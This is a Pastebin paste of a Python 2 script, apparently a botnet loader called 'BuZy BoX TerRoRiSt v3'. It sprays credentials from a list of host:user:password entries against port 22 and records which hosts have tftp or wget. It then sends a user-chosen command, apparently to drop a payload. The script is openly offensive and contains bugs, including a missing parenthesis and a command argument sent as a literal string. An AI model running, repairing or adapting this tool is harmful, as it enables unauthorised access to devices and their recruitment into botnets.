Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- import sys, time, socket
- #import telnetlib
- from multiprocessing import Process
- print "\n"
- print "▀█████████▄ ███ █▄ ▄███████▄ ▄██ ▄ ▀█████████▄ ▄██████▄ ▀████ ▐████▀ "
- print " ███ ███ ███ ███ ██▀ ▄██ ███ ██▄ ███ ███ ███ ███ ███▌ ████▀ "
- print " ███ ███ ███ ███ ▄███▀ ███▄▄▄███ ███ ███ ███ ███ ███ ▐███ "
- print " ▄███▄▄▄██▀ ███ ███ ▀█▀▄███▀▄▄ ▀▀▀▀▀▀███ ▄███▄▄▄██▀ ███ ███ ▀███▄███▀ "
- print "▀▀███▀▀▀██▄ ███ ███ ▄███▀ ▀ ▄██ ███ ▀▀███▀▀▀██▄ ███ ███ ████▀██▄ "
- print " ███ ██▄ ███ ███ ▄███▀ ███ ███ ███ ██▄ ███ ███ ▐███ ▀███ "
- print " ███ ███ ███ ███ ███▄ ▄█ ███ ███ ███ ███ ███ ███ ▄███ ███▄ "
- print "▄█████████▀ ████████▀ ▀████████▀ ▀█████▀ ▄█████████▀ ▀██████▀ ████ ███▄ "
- print "\n"
- if len(sys.argv) < 5:
- print "[+] Welcome to BuZy BoX TerRoRiSt v3, now with WGET and TFTP detection!, Arch detection coming in v4"
- sys.exit("[+] Usage: "+sys.argv[0]+" [input-file] [output-file] [threads] [cmd-to-issue]")
- thread_cnt = int(sys.argv[3]
- thread_tot = 0
- read_h = open(str(sys.argv[1]),'a+')
- def check(HOST,user,password):
- host = HOST
- try:
- tn = socket.socket()
- tn.connect((HOST,22))
- print "Connected to "+HOST
- print tn.recv(40960)
- tn.send(user + "\n")
- time.sleep(1)
- print tn.recv(40960)
- time.sleep(1)
- tn.send(password + "\n")
- print "Spraying "+HOST
- if 'ncorrect' in tn.recv(40960): raise Exception
- tn.send('tftp\n')
- tftp = tn.recv(40960)
- if 'ot found' in tftp: raise Exception; print "[-] FUCK NO TFTP"
- else:
- print "[+] TFTP was detected"
- f = open(str(sys.argv[2]),'a+')
- f.write('%s:%s:%s:tftp\n' % (host,user,password.rstrip()))
- tn.send('wget\n')
- wget = tn.recv(40960)
- if 'ot found' in wget: raise Exception; print "[-] FUCK NO WGET"
- else:
- print "[+] WGET was detected"
- f = open(str(sys.argv[2]),'a+')
- f.write('%s:%s:%s:wget\n' % (host,user,password.rstrip()))
- tn.send("sys.argv[4]")
- except Exception as e:
- print e
- exit()
- for line in read_h:
- print line
- ip_info = line.split(":")
- p = Process(target=check, args=(ip_info[0],ip_info[1],ip_info[2],))
- p.start()
- thread_tot += 1
- if thread_tot > thread_cnt:
- p.join()
- thread_tot = 0
- p.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement